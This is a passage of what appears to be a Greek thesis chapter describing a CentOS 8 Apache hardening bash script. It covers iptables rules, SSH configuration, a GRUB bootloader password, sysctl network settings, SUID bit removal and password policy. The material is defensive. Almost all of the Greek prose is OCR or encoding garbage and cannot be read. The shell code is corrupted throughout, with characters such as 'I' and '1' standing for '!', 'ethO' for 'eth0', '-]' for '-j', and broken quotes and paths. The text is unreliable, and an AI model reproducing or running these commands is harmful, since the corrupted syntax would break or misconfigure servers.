vo. e€acparicovpe OtL 0 SCript centos8-apache-hardening tpéyel v oe Centos 8

Aertovpykd etvat o e€ng:
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if I cat /etc/centos-release | grep 'CentOS' | grep '8' 2> /dev/null 1>&2; then
log_error "Unsupported Linux distribution. Only CentOS 8 Supported™
_exit

fi

3.3.3 "‘Exdoomn Bash
Opota pe v €kd00MN TOL AETOVPYIKOD GLGTAUOTOS, EAEYXOVUE Kot TNV £KOOGT| TOV
bash v omoio. Oa tpéel 1o script centos8-apache-hardening. O Adyoc eivar yoti
KaOe Aertovpykd pmopel va pEpetl d10popeTIKY VAomoinon bash pe amotéleopa va
VIAPYOVV «OKOGTILATO» GE EVTOLEC TTOV TPpEYEL TO CeNtos8-apache-hardening script yio
va epapuodoet to security hardening configuration tov. ‘Etot n ékdoon kabdg emiong

Ko av To TEpUaTIKO givat o€ bash eléyyeton ue to mopokdrm tpdmo:

if I bash --version | grep -i'bash' 2> /dev/null 1>&2; then
log_error "Please install bash to continue.."
_exit

fi

3.3.1 "Yropén Systemctl

H evtoln systemctl givat éva fondntikd mpdypappa Tov AETovPyIKoy T0 0Toio ivat
vevbuvo Yo v eEETaom kat Tov Eleyxo Tov Systemd cuvoTpaTtog kot Tov Service
manager. Eivat pia cuAloyn amd dwyeprotikég PiAodnkeg cvuotuotog ot omoieg
givor mwoAd ypnoweg yoo v dwyepilovian vanpeciec tov Web server. TMoapéyet
Aemtopepeic TANPoopieg Yoo cuykekpuéves Systemd vnpeoieg ko GAAeg TOL Exovv
xpnon o€ ohdKANpo tov Web server [21].

Enopévoc n vmopén tov systemctl eivon onuovtikn kow to centos8-apache-hardening

bash script eAéyyet av vapyet pe Tov TOPOKAT® TPOTO:

if 1 [ -x "$(which systemctl)"]; then
log_error "systemctl required. Unsupported setup.."
_exit

fi
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3.3.2 Yropén IPTables
Télog to centos8-apache-hardening bash script eléyyer av vmapyovv IPTables npwv
mv évapén ™mg epoppoync tov apache hardening configurations pe tov mapoakdt®

TPOTO:

IPTABLES_CONFIG="/etc/sysconfig/iptables’
if ! test -f"SIPTABLES_CONFIG"; then
log_error "$IPTABLES_CONFIG firewall config file not found."
log_info "Is going to install iptables package, please wait..."
systemctl stop firewalld
systemctl disable firewalld
install_packages $IPTABLES_PACKAGE
systemctl enable iptables
systemctl start iptables
systemctl status iptables
systemctl start firewalld
fi

Av Tuy6V 10 SCript dev Ppet oyetucd iptables configuration files, tote onuaivel 6t dev
vrapyovv. Omote, katefaler to firewall, kavel eykatdotoon Ta KotdAAnio wokéTo
oto Centos 8 mepiBdAlov kon otn cuvéyxewn avePalel moar to firewall eved £xer non

gvepyomomoet kat Eekivioet ta iptables ta omoia Ba ta kéver configure otn cvvéyeto.

3.3 Emmpoobern emavénon aceaielag oe Centos 8 Web Server
To centos8-apache-hardening bash script, extdéc omd Vv 7mpaypotomoinon g
acpalewg tov Apache server mov viomoiei, (0TS TEPLYPAPOVTAL OVOAVTIKO GTO
Kepdhao 1 xor 2), viomoiel emiong emmpdcoOet aG@AAEI KOl GTIS 7O AKATO

TEPLOYEC.

331 Iptables hardening

H mpoctacio tov Linux server givor moAd onpovtikn Kupimg Yo Ty IpocTocio TV
OE0OUEVOV LOG, TNG TVELUOTIKNG 1010KTNCI0G Hog omd To ¥ TV KOKOBOLA®V
xpnotov (hackers).

To firewall tov Apache Centos 8 server eléyyetoaw omd £va TPOYPOLUO TOV
ovopdletar iptables to omoio yeileton 10 PpAtpdpopa yia to IPV4A (avtictorya o
ip6tables yepiletal 1o pAtpapioua yio o IPV6).
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IMoapakdtom emcvvanTovTal eVOEIKTIKA optopéva amd Ta. iptables rules mov viomoei to
bash script centos8-apache-hardening ta omoia pmopovv va @iATpdpovv e LYNAO

Babpd v mapdvoun kivnon :

# Block a specific ip-address

BLOCK_THIS 1P="192.168.1.254"

iptables -A INPUT -s "$BLOCK_THIS_IP" -j DROP

# Allow ALL incoming SSH

iptables -A INPUT -i ethO -p tcp --dport 22 -m state --state NEW,ESTABLISHED -j
ACCEPT

iptables -A OUTPUT -0 ethO -p tcp --sport 22 -m state --state ESTABLISHED -j
ACCEPT

# Allow incoming SSH only from a sepcific network

# EXTERNAL NET="ip -finetashow ethO | grep inet| awk '{print $2}" # e.g. inet
address of ehtl network 172.28.128.20/24

EXTERNAL_NET='192.168.1.0/24'

iptables -A INPUT -i ethO -p tcp -s SEXTERNAL _NET --dport 22 -m state --state
NEW,ESTABLISHED -j ACCEPT

iptables -A OUTPUT -0 ethO -p tcp --sport 22 -m state --state ESTABLISHED -j
ACCEPT

# Allow incoming HTTP

iptables -A INPUT -i ethO -p tcp --dport 80 -m state --state NEW,ESTABLISHED -j
ACCEPT

iptables -A OUTPUT -0 ethO -p tcp --sport 80 -m state --state ESTABLISHED -j
ACCEPT

# Allow incoming HTTPS

iptables -A INPUT -iethO -p tcp --dport 443 -m state --state NEW,ESTABLISHED -j
ACCEPT

iptables -A OUTPUT -0 ethO -p tcp --sport 443 -m state --state ESTABLISHED -j
ACCEPT

# Allow POP3 and POP3S
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iptables -A INPUT -iethO -p tcp --dport 110 -m state --state NEW,ESTABLISHED -]
ACCEPT

iptables -A OUTPUT -0 ethO -p tcp --sport 110 -m state --state ESTABLISHED -]
ACCEPT

iptables -A INPUT -iethO -p tcp --dport 995 -m state --state NEW,ESTABLISHED -j
ACCEPT

iptables -A OUTPUT -0 ethO -p tcp --sport 995 -m state --state ESTABLISHED -j
ACCEPT

# Prevent DoS attack

iptables -A INPUT -p tcp --dport 80 -m limit --limit 25/minute --limit-burst 100 -]
ACCEPT

Metd v olokAfpwon tov iptables, ypsidletoan vo amobnkevtovv ko vo yivet

emavekkivnon o iptables service pe yprion TV mop akdT® EVIOADV:

service iptables save
iptables —nvL
systemctl restart iptables

iptables-restore < /etc/sysconfig/iptables

Noa onuewbel 61t n ©npn AMota pe ta iptables rules emcvvémteton poli pe tov

KM dka Tov centos8-apache-hardening script oto [Mopdaptnua 1.

3.3.2 SSH hardening
To OpenSSH (11 Secure SHell) éyel yiver 1o de facto mpoTvmo Yoo amopakpvouévn
Tpocfoact to omoio €xel avtikataotoel 10 TpmTOKoALo telnet. To SSH éxel kdvet
TpwTOKOAa Omw¢ to telnet mepirtd e€autiog Tov yeyovoTog OTL M GVOVOEST givar
KPLTTOYPOPMUEVN KOl Ol K®OKol Tpdsfacng dev otéAvoviar TAEoV Gav €va amld
Keipevo yuo va 1o fAEmovy Aot
Mapora avtd, n Tpoemleyuévn eykatdotoon tov SSH dev givan dpiotn, ko détov
tpéxelg Evav SSH server, vdpyovv pepikd omAd fpata Tov umopobv va, yivouy yio
vo, owénOel n acpdiein g eykatdotaong dpopatikd [18].
To bash script centos8-apache- hardening script vAomotei po Aiota pe SSH hardening

configurations n omoio Ppioketar oto [Mopdpmuo 1. IMopokdto emcvvamTovToL

optopéva and avtd to. SSH hardening configurations:

SSHD_CONFIG='"etc/ssh/sshd_config'
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log_info "Changing ssh port from input.”

SSH_PORT="22"

log_info "Configuring ssh port to ${SSH_PORT}."

set_parameter "Port" ${SSH_PORT} ${SSHD_CONFIG}

log_info "Enabling public key authentication."

set_parameter "PubkeyAuthentication” "yes" ${SSHD_CONFIG}
log_info "Disabling the authentication of throughtrusted hosts via the user.”
set_parameter "Hostbased Authentication” "no" ${SSHD_CONFIG}

set_parameter "RhostsRSAAuthentication” "no" ${SSHD_CONFIG}

log_info "Configuring protocol to version 2."

set_parameter "Protocol” "2" ${SSHD_CONFIG}

log_info "Configuring logging levels to verbose."
set_parameter "LogLevel" "VERBOSE" ${SSHD_CONFIG}
log_info "Disabling X11 forwarding."

set_parameter "X11Forwarding" "no" ${SSHD_CONFIG}
log_info "Disabling root logins."

set_parameter "PermitRootLogin" "no" ${SSHD_CONFIG}
log_info "Adding current user to ssh group.”

groupadd ssh

usermod -a -G ssh ${CURRENT_USER}

log_info "Configuring SSH access only

${DECORATION_BOLD_ON}\"ssh\"${DECORATION_BOLD_OFF} group.”

set_parameter "AllowGroups" "ssh" ${SSHD CONFIG}

to

3.33 Secure bootloader

Ovnopapetpor GRUB_TIMEOUT=0 xou GRUB_HIDDEN_TIMEOUT=0 c10 apycio

letc/default/grub dev givon acpoing emhoyn kot givar oo aceoAég o bootloader va

ac@oriletar pe kwdikd TpdcsPaocng [19]:

e Amokiewopog mposPacns oto Single User Mode: Av évog kaxofovrog

YPNOTNG EKKIVIIGEL TO GVOTNA 6€ avTd T0 Mode, tdte pmopei vo E16EADEL GTO

GUGTNHA Y®PIg TNV E100YOYN TOL K®I1KOV TOL OO0t yprioT.
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e Amokiewopog mwpocPacns oto GRUB 2 Console: Av ypnowonoteitar 1o
GRUB 2 o¢ bootloader o¢ éva oo, o kakofoviog ypnotng Hmropei vo
YPNOYOTOMGEL TNV KOVGOAQ TOV Yo va 0AAGEEL puBuicels | pe ypnion tng
€VTOANG Cat umopet va paléyet Tig mAnpopopieg mov yperaletot.

e Amokielopnog mpocPaons oe pun aoc@oi Aertovpyiké cvotnuo: Av 10
ovomuo eivon dual boot, tote évag kakoBovriog ypnoTng pmopel va emAéEet
Vo EKKIVIGEL £vaL a0 T VO AEITOVPYIKA TO OTOl0L AyVOET Tl HIKOLMD LOTOL TV

apyelmV KoL ToVg EAEYYOVS AGPUAEING TOV GLGTLATOG ApPYEi®V.

[N va evepyomomBei | yp1iom tov k®OKoL TPAGPacTg Katd TNV eKKivnon, TpEmeL va
evepyomomBel £vag SUPEr User mov va £xel TpOGPACT OTIS TPOSTATEVUEVES EYYPOUPEC.
Yvvictoton 0 SUPEr user v givarl S1apopeTikdg omd TOVG XPNOTES TOV AETOLPYIKOD
GLOTALATOGC. AKOpO UTOopoHV VoL 0p1GTOUV Kol armhol xpNnoteg mov Oa £xovv mpdcPaon
puoévo emhoync. Ia va dmuovpynBei évag kwduedg yio Tov super user, to bash script

centos8-apache-hardening script extelei Ty TapakdT® cvvapTnon:

function secure_bootloader()
{
backup_file SDEFAULTGRUB
backup_file $SGRUB_40_CUSTOM
if [ -n "$GRUB_PASSPHRASE" ]; then
sed -i
's’*"GRUB_CMDLINE_LINUX=*/GRUB_CMDLINE_LINUX="--users
$GRUB_SUPERUSER"/' "$DEFAULTGRUB"
echo "set superusers=$GRUB_SUPERUSER" >>
$GRUB_40_CUSTOM
GRUB_PASS=$(expect_script "$1" | SEXPECT | sed -e "/"\r$/d" -e
"INSIdT - s)x\(FV)NL")
echo "password_pbkdf2 $GRUB_SUPERUSER $GRUB_PASS" >>
$GRUB_40_CUSTOM
echo 'export superusers' >> $GRUB_40 CUSTOM
log_info "Secure Bootloader finished successfully!"
fi
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3.34 Amevepyomnoinon aypeioctov modules cuempatog
Eivon mévta «oAn 7wpoxTiky vo azmevepyomowovvtow ta  modules mov  dev
¥pNoyomoovvTal yioo Adyovg aceoieiog. H amevepyomoinon ywo mopddstypo tov
modules mov Apache mov dev ypnowomolobvror, to bash script centos8-apache-
hardening mpobétel éva oydoMo “#’ pumpootd amd ovTa pPE XPHON TOV TOPAKAT®

GLVOPTNGEWMV:

# Disable Unnecessary Modules
BASE_MODULES="/etc/httpd/conf.modules.d/00-base.conf

comment_parameter "LoadModule info_module modulesVmod_info.so™
$BASE_MODULES

comment_parameter “LoadModule  userdir_module  modulesVmod_userdir.so"
$BASE_MODULES

Eniong, to bash script omevepyomolei opiopéva kernel modules pe yprion tov

TOPAKATO SCript KMo

# Disable unneeded kernel modules
MOD="bluetooth firewire-core net-pf-31 soundcore thunderbolt usb-midi usb-storage'
DISABLEMOD-="/etc/modprobe.d/disablemod.conf
log_info "Is going to disable unneeded kernel modules”
for disable in $MOD; do

if I grep -q "$disable” "$DISABLEMOD" 2> /dev/null; then

echo "install $disable /bin/true™ >> "$DISABLEMOD"

fi

done

H mpn Alota pe myv anevepyonoinon tov modules Bpioketor oto [oapdptnuo 1.

3.35 Secure Mounts
Ievikd eivor KOAN TPOKTIKN Vo SNMUIOVPYOUVTOL dlopopeTikd partitions yio tovg

eaxélovg /boot, /, /home, /tmp kou /var/tmp yio toug Tapokdtm Adyovg [19]:

e /boot: Eivou 10 mpmdto partition wov daBalet 1o Aerrovpyikd cVoTNIA KOTA TNV
exkivnon tov. Exel amobnkevetonr o muprivag ko o bootloader ot omoiot
EKKIVOOV TO AEITOVPYIKO oVOTNUo TOo omoio dev mpémel vo  givon

KpunToypaenuéVo ywti av yiver pn dwbéoywo v kdmoo Adyo (Y
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ToPAdEypLa ETEWN €ivol oo 110 partition pe to kpurToypaenuévo / kon yodel
10 passphrase), tdte 10 cvomua dev 0o propei va exkivinoet kaboiov. Emiong
elvon yevikd kodn mpaktikn va givat to /boot partition pévo yo avéyveon yu
VO TPOCTOTEVOVTOL TO KPIoWO OpYelt TOL GCUGTAUOTOS OO  TUYOV
TPOTOTTOING).

Avtd emrvyydveton amd o apyeio /etc/fstab pe to map axdto

/boot /boot ext2 defaults,ro 12

Y& mepintmor OUm¢ Tov YpelcTel pneAlovtikd kamolo update otov muprva M
Kkamoteg pvbuioeig otov bootloader, Ba mpémel va mpocapmBei o dikaimpa
€YYPaENG Tov Topomdve partition.

e /home: Av 10 apyeia TtV ypnotdv Ppickovtal 6to id1o partition pe 1o /, tote
av yepioel ue apyeio tov yprot to /home Ba £xel o¢ amotédeca va yivel To
ovotuo 0otafég. AkOuo otV TEPITTO®ON OV Yivel Kamolo upgrade oto
Aerrovpykd cvotuo, av eivar Ta apyeio tov /home ce Glho partition, ivon
€VKOAOTEPO Vo dtatnpnbovy ce awtd to partition yioti dev O daypagpovv
KOTé TNV £YKATAGTACT) TNG VENS £KO00ONG TOV AETOVPYIKOV.

e /tmp & /var/tmp: Xpnowomoodvial yio. Tpocmpvi] orodNKeLeT dESOUEVOV.
Av avtoi o1 pdxerot Bpickovtor 6o 110 partition pe o / tdte emedn yepiloov
ypnyopa Ba amoppopncovv 6ho 10 SBEGIHO YDpo Kou Bo KOTAGTHCOLV TO
cvompo aotafés. Omote etvor koA mpoaktiky vo Ppiockovial e EexmpioTo
partition ko emiong vo €ival amevepyomomuéEVa To, SIKOUM LLOTO. EKTEAECTG GTO
ftmp.

e /dev/shm: Muw oakéuo koA 7TPOKTIKA €lvalr 1M omevepyomoinon Tmv
SKUOUATOV ektéleong oy dwpopolopevn pvnun (shared memory) ko
avtd 10 emuyyavel To bash script centos8-apache-hardening dnpovpymdvrag

T0 apyeio:

cat > /etc/systemd/system/tmp. mount <<EOF
# letc/systemd/system/default.target. wants/tmp.mount -> ../tmp.mount

[Unit]
Description=Temporary Directory
Documentation=man:hier(7)

Before=local- fs.target
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[Mount]

What=tmpfs

Where=/tmp

Type=tmpfs
Options=mode=1777,strictatime,nosuid,nodev
EOF

Ko 1o mopakdreo symbolic link:

In -S letc/systemd/system/tmp. mount
letc/systemd/system/default.target.wants/tmp. mount

Tnv 1610 drdkacio epapuolel Kot Yo TOVS PaKEAOVGS /tMp kat /var/tmp kot 6to TéAog

yiveton emavekkivnomn tov systemctl pe ypnomn mg Topokdtem eVioAng:

systemctl daemon-reload

3.3.6 Acpdrelo d1apopmv Sysctl mapauépmv
21 ovvéyewr meptypdgovior {nTtnpato ac@oieiog mov a@opohv TNV OIKTLOKNY
npocPaon. [Towo cvykekpévo to bash script centos8-apache-hardening epappolet ta

TOPOKAT :

e Amevepyomoinen Source Routing: To Source routing givon évag punyaviopog
TOU OWOIKTVOV TOV EMUIPENEL GE £VOL TOKETO VO HETOPEPEL oL AdoTal
dtevBvvoewv IP n omoia evmuepdvel tov dpoporoynm yo v S10dpoun mTov
o mpémer va axolovOnoer 10 mak€to. Axopo vrootnpiletar n emAoyn
koaraypogng tov IP (hops) mov diooyilel to mokéto Katd ™ ddpoun tov. H
Moto tov dwoyopévav IP, dniadn to «route record» mapéyet tnv dievbvvon
TPOOPICHOD Kot TANPOPOpieg Yo TN Sadpoun €mOTPOPNG. AVTd EMITPEMEL
otV agetpia (source) va kabopilel ) dradpour mov Ba akolovOnoel o
TOKETO  OYVOMVTIOG  TOVG  TIVOKES  OPOUOAOYNONG TOV  EVOLAUESOV
dpoporoyNT®V. AVTd EMITPEMEL TNV OVAIPOLOAOYNGN TNG JIKTLOKNG Kivnomg
and Tovg KakdBovlovg ypnotes. Emopévog Ba mpénet avti n dvvatdmra va
anevepyomoteitot. H emloyn accept source_route kaBopiler T1G dkTLOKEG
demopég (network interfaces) dote va déyovion ToKETA LE EVEPYOTOMUEVN

™mv mapdpetpo Strict Source Route (SSR) 1 Loose Source Routing (LSR). H
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TopapeTpoToinon yiveton péow tov Systctl ko to bash script pe yprion g

TOPOKAT® EVIOANG OmOPPINTEL TO TAKETO TOV £XOVV gvepyomompévo 1o SSR i

LSR:

SYSCTL='"letc/sysctl.conf
append_config "net.ipv4.conf.all.accept _source_route = 0" $SYSCTL

Axopa, Oo Tpémel va anevepyomoteiton kot to packet forwarding, 6tav owtd
gtvar Qiktd (antd mhavo va €xetl avtiktumo oto Virtualization). Ot map axdto
eVIoLég amevepyomotovv o forwarding yia 1IPV4 kat IPV6 moxéta og Oheg Tig

SKTLOKEG OlEMOPEC:

append_config "net.ipv4d.confall.forwarding = 0" $SYSCTL
append_config "net.ipv6.conf.all.forwarding = 0" $SYSCTL

Eniong n omodoyn ICMP redirects €xel eldyioteg yprioweg epoppoyés. I
avtd eivarl pior KoM mTPokTIK) 1 anevepyomoinot tovg. To bash script pe
PO TOV TOPUKAT® EVIOADV OTEVEPYOTOLOLY TNV arodoyN Yo 6Aa ta ICMP

redirects mwoxéto o€ OAEG TIG OIKTLOKEC OIETAPES:

append_config "net.ipv4d.confall.accept _redirects = 0" $SYSCTL
append_config "net.ipv6.confall.accept _redirects = 0" $SYSCTL

H mopokdto &viodn amevepyomolel v amodoyn OAwv twv secure ICMP

redirect TakéT@v 6€ OAEC TIG HIKTLOKEC OIETAPES:

append_config "net.ipv4.conf.all.secure_redirects = 0" $SYSCTL

H nopaxdto eviol amevepyomotei v amootoAn ywo. 6o to. ICMP redirects

TOKETO € OLEG TIG OIKTVOKES OLETOPES:

append_config "net.ipv4.confall.send_redirects = 0" $SYSCTL

Amevepyomoinen tov Reverse Path Forwarding: To Reverse Path
Forwarding ypnoyomoteiton yio var omotpéyel TokETo To, 0moia EloNABav oo
poe dikrvokn oemaen (interface) yia va €€éABovv péow pog dAing. H
KOTAGTOON KATA TNV 0moid ol dPOUOAOYNGELS €100d0V — €£0d0v (Incoming —
outgoing routes) eivon SPOPETIKES, KOAEiTOL GGVUUETPN OPOLOAOYNON
(asymmetric routing). Ot popohoynTéG GLUYVA YPNGLOTOIOVY CWTO TOV TOTO
dpopordyNoNG, 0ALE o1 TEPIOGOTEPOL VITOAOYIGTEC GLVIOM®G eV YpeldleTon Vo
0 kavouv. llepmticelg otg omoleg umopel va ypnoomoleitor owtdg 0

TPOTOG OPOUOAOYNONG E€IVOL GE EQUPUOYEC Ol OTOIES GTEAVOLV OKTLOKT)
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Kivnomn oo pio S1KTLOKT GLOKELN KoL 0€xovTaL Kivnor amd pa GAAT, 1 omoia
EMKOWMVEL pe  SapopeTikd  service provider. Tlapadeiypota TtéTOIOV
neEPUTOGE®V givar ot ocvvdvacpoi DSL pe leased lines 1 dopvpopikég
ovvdéoelg pe 3G. Av owtd 10 oevdplo dev  avtamokpiveTol OTNV
TPAYLOTIKOTNTA, OGOV aPOpd 1o VITOSOUY], TOTE 1| EVEPYOTOINGT TOL reverse
path forwarding otn diktvakn demaen €10d6d0v givar amapaitntn. Ev oliyoig
TPEMEL VaL EVEPYOTOLEiTAL, EKTOC v YV pilovpe OTL av T M Agttovpyia dev elvon
amopaLiTn TN, YTl O TPEMEL TOVG XPNOTES VO TAAGTOYP APOLV d1evBivVoEL amd
duapopa vrodiktoa (IP  spoofing) kot peidwver ™mv mBavotnra DDOS
emBécemv.

To Reverse Path Forwarding evepyomoteiton pe ypnon g mopauETpov
rp_filter. To sysctl umopei va ypnowomombei yio va adddéer tig pubuicelg
OVTEG TTPOCWPIVA, EVAD 1| LOVIUN OAAQYY] OOONKEVETAL LE TV EYYPAPT GTO
apyeio fetc/sysctl.conf. H mapdapetpog rp_filter opiCeton amd 1o bash script

centos8-apache-hardening pe tig Topoxdtm evioléc:

append_config "net.ipv4.confall.rp_filter = 1" $SYSCTL
append_config "net.ipv4.conf.default.rp_filter= 1" $SYSCTL

Na onpeiwbei €0 0TL pmopei avti yi 1 va 0p1otovv o1 Top aKdTm THEG LE TIG
aVTIOTO(EG ONUAGIES TOVG:

o 0—No source validation

o 1-Strict mode

o 2—Loose mode
Amevepyomoinen tov Zeroconf Networking: To Zeroconf kofopiler mv
dtevBuvon v omoia Ba AdPel 0 VITOLOYIGTNG £POGOV deV KaTapéPEL Vo AdPet
pe péow tov DHCP. Xg avt v mepimtoon, n demaen 0o AdPer po
otevbuvon oto vmodiktvo: 169.254.0.0. H amevepyomoinon oavtnig g

AE1TOVPYIOG TPOYUOTOTOIEITAL ILE YPNON TG TOPAKATO EVIOANG:

yum remove avahi-autoipd

Ayvonon mrokétov ICMP, Broadcast Request ko Martian Packets:

To bash script centos8-apache-hardening rpoc6étet oo apyeio /etc/sysctl.conf
TIC TOPOKATO EYYPAPES Y10 VoL ODGEL 001Yi0L GTO AETOVPYIKO DGTE VO ayvoel
to. ping M broadcast requests:

o Ayvénon ICMP request:
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append_config "net.ipv4.icmp_echo_ignore_all = 1"$SYSCTL

o Ayvomon Broadcast request:

append_config "net.ipvd.icmp_echo_ignore_broadcasts = 1"
$SYSCTL

o Koataypoen mokétov amd pn opbég 1 un ovopevopeveg d1evdivvoeig

(Martian Packets — Un-routable Source Addresses):

append_config "net.ipv4.confall.log_martians = 1"$SYSCTL

Amevepyomoinon mpmTokéAlov IPV6: Muw koA mpokTikn eivol 1
amevepyomoinomn Tov mpwtokdALlov IPV6 av dev ypnoipomoteiton kabdg ot
TEPIoo0TEPEG VANPETieg ektdg DMZ dev 10 ypnoylomoovy kot cuvidmg givorn
eMMINS 0 €Aeyy0g TOV HECH TV TEYOV TpooTaciog. To bash script pe ypnon
TOV TOPOKAT® &vioA®V amevepyomolel 10 IPV6 péowm sysctl yia olec Tig

emopég oto apyeio /etc/sysctl.conf:

append_config "net.ipv6.confall.disable_ipv6 = 1" $SYSCTL
append_config "net.ipvé.conf.default.disable_ipv6 = 1" $SYSCTL
append_config "net.ipv6.conf.lo.disable_ipv6 = 1" $SYSCTL

Axoépa umopodpe vo amevepyomomoovpe 10 IPV6 ewodyovtag oto apyeio

letc/modprobe.d/disablenet.conf v exiioyn:

ipv6 disable=1

K0l GTOV TUPNVOL TOV AEITOVPYIKOV TPocBETovtog oto apyeio /etc/default/grub
mv twn ipve.disable=1 omv ypapp mov kobopilel TG mAPAUETPOLG
eoptwong mopniva. GRUB CMDLINE LINUX DEFAULT. Zvykekppévo

avtd vAomoleiton omd to bash script pe ypnon g mop akdT® EVIOANC:

sed -i
's"GRUB_CMDLINE_LINUX=.*/GRUB_CMDLINE_LINUX="ipv6.disabl
e=1""" "$DEFAULTGRUB"

Télog evnuepdvovpe to grub pe tig aAlayég pe yprion g EVIOANGS:

sudo update-grub

Azmevepyonoinen tov RPC IPv6: Ou vmmpeocieg RPC, 6nwg to NFS,
EMYEPOVV VO EKKIVIIGOVV YpNo1Lonotdvtos o IPVE akdpa kot av avtd eivor

angvepyomompévo oto apyeio: /etc/modprobe.d. INa va gpmodicovpe avt v
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ovumeppopd, to bash script palel o oyoA0 ‘# TG TAPAKAT® YPOUUES OTO

apyeio /etc/netconfig:

#udp6 tpi_clts % inet6 udp - -
#tcp6 tpi_cots ord v inet6 tcp --

3.3.7 P0oOuion opiowv aceareiog ypnotomv
H p0Buion tov opiov aceareiog eivol yevikd pio KOAY TPOKTIK OGOV apopd tnv
npoOcfocT TOV  XPNOTOV o6TOVG Topoymywkovg Web servers. Ta Opa  avtd
neplapfavouv péyioto aplpd tovtdxpovav sessions (max-logins), péyisto mAndog
gkteELovUEVOV depyactdv, uéyedog apyeiov coredump k.o. I'a v pHOpion avtdv

TV opiwv To bash script centos8-apache- hardening sxtelel tTic mopakat® EVIOAES:

LIMITSCONF='/etc/security/limits.conf

sed -i's/Mt End of file*//' "$LIMITSCONF"
append_config "* hard maxlogins 10" $LIMITSCONF
append_config "* hard core 0" $LIMITSCONF
append_config "* soft nproc 100" SLIMITSCONF
append_config "* hard nproc 150" $LIMITSCONF
append_config "# End of file" SLIMITSCONF

3.3.8 Awypaogn suid bits
Axopo poe KoAY TPOKTIKA eival 1 aeaipeon tov Suid bit amd ocvykekpéva
exteAéoo apyeia mov Ppickovion otovg pakéiovg /bin kat /usr/bin kabdg ovtd T
apyeio eKTeEAOVVTOL e dkadpato root ypnot 1 pe dikaudpato. sudo. T'a vo Bpodue
T apyeio wov €yovv evepyd 1o SUID Ko LETA Vo TOL OEVEPYOTOICOVILE QVTE TOV

Bewpolpe emkivovva TPEYOLLLE TNV TOPUK AT® EVIOAN:

sudo find / -perm -4000 —print

21 cvvérela apov Bpodie mola etvar avtd Ta apyeia mov xovv evepyd to SUID, ta
BaCovpe oto bash script centos8-apache-hardening kou avtd ta omevepyomolel pe

YPNON TOV AP OKAT® EVIOADV:

for p in /bin/fusermount /bin/mount /bin/ping /bin/ping6 /bin/su /bin/umount \
{usr/bin/bsd-write /usr/bin/chage /usr/bin/chfn /usr/bin/chsh \

fusr/bin/mlocate /usr/bin/mtr /usr/bin/newgrp /usr/bin/pkexec \
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{usr/bin/traceroute6.iputils /usr/bin/wall /usr/shin/pppd;
do
if [-e "$p"]; then
oct=3%(stat -c "%a" $p |sed 's/4/0/") # 0755
ug=9%(stat -c "%U:%G" $p) # root:root
chmod $oct $p
chown $ug $p
chmod -s $p  # clear the bits with symbolic modes like
fi
done

for SHELL in $(cat /etc/shells); do
if [ -x "$SHELL"]; then
chmod -s "$SHELL"
fi

done

3.3.9 Avompodtepa duoudpate o€ apyeio - QoKELOVG
INa va Bécel to bash script centos8-apache-hardening avotpotepa dikadUOTOL OE
apyeio — axélovg, pvOuilel To cuvoikd umask tov cvetiuatog oe 027. Avtd opilet
o dikaud pato o€ 640 (rw-r---) oe véa apyeio kat 750 (rWXr-X---) o vEoug POKELOVG.

Avtd 10 VAOTIOIET [LE YPNON TOV TOPOKAT® EVIOADV:

if I grep -q -i "umask™ "/etc/profile” 2> /dev/null; then
backup_file $SETC_PROFILE
append_config "umask 027" $ETC_PROFILE
fi

if I grep -q -i "umask™ "/etc/bashrc™ 2> /dev/null; then
backup_file $ETC_BASHRC
append_config "umask 027" $ETC_BASHRC
fi
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Ye fileservers, cvvictotatr o opiopdc tov umask oe 077 kobmg AdOoc dtkoumporo

umopel va. TPOKOAEGOVY TPOPANUOTO GE GLOTHUOTO TO. OTOi0 dtopopalovy apyeia

6moc SAMBA 1y NFS.

3.3.10 Aogaipgon config ylo amopaxpvouévn tpdcPacn
To bash script centos8-apache-hardening mpokewévov va  KOyer  TUYOV
amopoKpLOUEVEG TpooPdoelc otov Web server, agopei ta apyeio .rhosts ko

hosts.equiV Tovg QaKELOVE XPNOTMOV KoL OVTO TO VAOTOLEL [LE TIG TAPUKATO EVIOAES:

for dir in $(awk -F ":" '{print $6}' /etc/passwd); do

find "$dir" \( -name "hosts.equiv" -0 -name ".rhosts" \) -exec rm -f {} \; 2>
/devinull
done

if [[ - f /etc/hosts.equiv ]]; then
rm /etc/hosts.equiv
fi

3.3.11 "‘Eleyyog mpocPaong pe ypnon TCP Wrappers
Ene1dn ta apyeio /etc/hosts.allow ko /etc/hosts.deny ypmoyomotovvtot yia édeyyo
™G TpdoPacng ot vanpeciec tov Centos Asrtovpykod, av n Ekdoon Tov Web server
eivar desktop kou Oy server, tote kaAd givat vo tpocBécovpe v ypouun ‘ALL’ 6to
apyeio /etc/hosts.deny kar t ypauun ‘localhost’ oto apysio apyeio /etc/hosts.allow.
M eykoatdotaon Server, ypewdleton emiong Kot TIC TOPUKAT® YPOUUES GTO apyeio

letc/hosts.allow ti¢ omoieg Tig mpocBétet to bash script:

HOSTS ALLOWS="/etc/hosts.allow'
HOSTS_DENY='/etc/hosts.deny’

append_config "ALL: LOCAL, 127.0.0.1"$HOSTS_ALLOW
append_config "ALL: PARANOID" $HOSTS_DENY

chmod 644 $HOSTS_ALLOW

chmod 644 $HOSTS_DENY
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3.3.12 [MoArtikn AENG AOoYOopLaG UMV Kol KOS KOV
‘Eva o6 ta onuovtikdtepa configurations mov mpénetl vo mparylotonolovvon sivan 1
TOAMTIKY] AENG TOV AOYOPIOCUAOV KOl TOV KOOK®OV 610 cvotnuo. Ot mopoakdtm
pvOuileg opilovion oto apyeio /etc/login.defs kar to bash script tic epopprolet pe tig

TOPOKAT® EVIOLEG:

LOGINDEFS="/etc/login.defs'

sed -i's/**LOG_OK_LOGINS.*/LOG_OK_LOGINS\t\tyes/ "$LOGINDEFS"

sed -i's"UMASK.*/UMASK\W\t077/ "$LOGINDEFS"

sed -i's/"PASS_MIN_DAYS.*/PASS_MIN_DAYS\t\t7/' "$LOGINDEFS"

sed -i's"PASS_MAX_DAYS.*/PASS_MAX_DAYS\\t30/' "$LOGINDEFS"

sed -i'ss/DEFAULT_HOME.*/DEFAULT_HOME no/' "$LOGINDEFS"

sed -i's’USERGROUPS_ENAB.*/USERGROUPS_ENAB no/ "$LOGINDEFS"

sed - 'sIN
SHA_CRYPT_MAX_ROUNDS.*/SHA_CRYPT_MAX_ROUNDS\t\t10000/
"$LOGINDEFS™

Me 11¢ Topandvem eviolég divouy 00nyieg MOTE VoL KOTAYPAEOVTaL Ol ETITLYELS €ic0d01
0T0 GUOTNO, OTOYOPEVOVY dVO JOOYIKEG OAAAYEG KMOWK®MV TTPoOcPaons Yo €va
